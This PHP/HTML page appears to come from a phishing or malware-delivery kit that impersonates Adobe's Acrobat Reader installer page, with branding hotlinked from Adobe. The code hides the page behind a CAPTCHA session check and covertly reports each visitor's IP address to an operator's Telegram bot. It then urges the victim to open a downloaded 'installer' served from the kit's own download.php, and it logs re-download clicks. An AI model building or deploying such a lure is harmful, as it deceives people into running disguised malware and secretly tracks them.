<?php
session_start();

// If NOT verified, send user to CAPTCHA page
if (empty($_SESSION['verified'])) {
    header("Location: /acrobat-reader");
    exit();
}
?>
<?php
// --- SETTINGS & ERROR HANDLING ---
ini_set('display_errors', 0);

// Function to send the alert (copied from your successful log_event.php)
function sendInstallAlert($msg) {
    if (!file_exists('settings.php')) return false;
    $settings = include 'settings.php';
    if (!$settings || $settings['telegram'] !== "1") return false;

    $data = [
        'chat_id' => $settings['chat_id'],
        'text' => $msg,
        'parse_mode' => 'HTML'
    ];

    $url = "https://api.telegram.org/" . $settings['bot_url'] . "/sendMessage";
    $options = ['http' => ['method' => 'POST', 'header' => 'Content-Type: application/x-www-form-urlencoded', 'content' => http_build_query($data)]];
    $context = stream_context_create($options);
    return @file_get_contents($url, false, $context);
}

// 1. Trigger Alert immediately when the page opens
$ip = $_SERVER['REMOTE_ADDR'];
$installMsg = "⚙️ <b>INSTALLER PAGE OPENED</b>\n\nUser is viewing the installation steps!\nIP: $ip\nTime: " . date('H:i:s');
sendInstallAlert($installMsg);
?>
<html>
	<head>
		<title>Adobe - Install Adobe Acrobat Reader</title>
		<link rel="icon" type="image/x-icon" href="https://get.adobe.com/reader/favicon.ico">
        <script>
            // This handles the "download again" link alert
            function logRedownload() {
                if (navigator.sendBeacon) {
                    navigator.sendBeacon('log_event.php?type=User_Requested_Redownload');
                }
            }
        </script>
	</head>
	<body>
		<nav class="navbar navbar-light" style="box-sizing: border-box; padding: 8px 0px; margin: 0px; background: rgb(255, 255, 255); min-height: 70px; position: relative; display: flex; flex-wrap: wrap; align-items: center; justify-content: space-between; color: rgb(33, 37, 41); font-family: Adobe-Clean, Arial, sans-serif; font-size: 14px;">
			<div class="ms-3" style="box-sizing: border-box; padding: 0px; margin-left: 1rem !important;">
				<a href="https://www.adobe.com/" style="color: rgb(20, 115, 230);">
					<img alt="Adobe, Inc." src="https://get.adobe.com/reader/7ed09758f8/images/adobe_logo_header.svg" style="height: 4rem; vertical-align: middle;" />
				</a>
			</div>
		</nav>

		<div class="container-fluid" style="box-sizing: border-box; padding: 0px 12px; margin: 0px auto; background: white; width: 100%; color: rgb(33, 37, 41); font-family: Adobe-Clean, Arial, sans-serif; font-size: 14px;">
			<div class="container" style="box-sizing: border-box; padding: 0px 12px; margin: 0px auto; max-width: 1320px; display: flex !important; justify-content: center !important; align-items: center !important; min-height: 80vh;">
				<div style="display: flex; flex-direction: row; align-items: center; justify-content: center; width: 100%; gap: 64px;">
					
					<div style="display: flex; flex-direction: column; align-items: flex-start;">
						<h4 style="margin: 0px 0px 48px; line-height: 46px; font-size: 36px;">Let’s finish your installation</h4>
						
						<div style="display: flex; align-items: center; margin: 0px 0px 48px; gap: 19px;">
							<div style="padding: 7px;">
								<img src="https://get.adobe.com/reader/7ed09758f8/images/SDC_Folder_18_N.svg" />
							</div>
							<h4 style="margin: 0px; font-weight: 400; line-height: 33px; font-size: 22px;">
								Open <span style="font-weight: bolder;">Adobe Acrobat Reader Installer</span> from recent downloads (right corner of this screen) to install.
							</h4>
						</div>

						<div style="display: flex; align-items: center; margin: 0px 0px 48px; gap: 19px;">
							<div style="padding: 7px;">
								<img src="https://get.adobe.com/reader/7ed09758f8/images/SDC_Links_18_N.svg" />
							</div>
							<h4 style="margin: 0px; font-weight: 400; line-height: 33px; font-size: 22px;">
								If your download didn’t work, 
                                <a href="download.php?type=manual" onclick="logRedownload()" style="color: rgb(2, 101, 220); text-decoration: none; cursor: pointer;">download again.</a>
							</h4>
						</div>
					</div>

					<div style="display: flex; justify-content: flex-end;">
						<img src="https://get.adobe.com/reader/7ed09758f8/images/win_adm_latest_step_gif/en.gif" style="width: 455px; height: 455px; object-fit: contain;" />
					</div>
				</div>
			</div>
		</div>
	</body>
</html>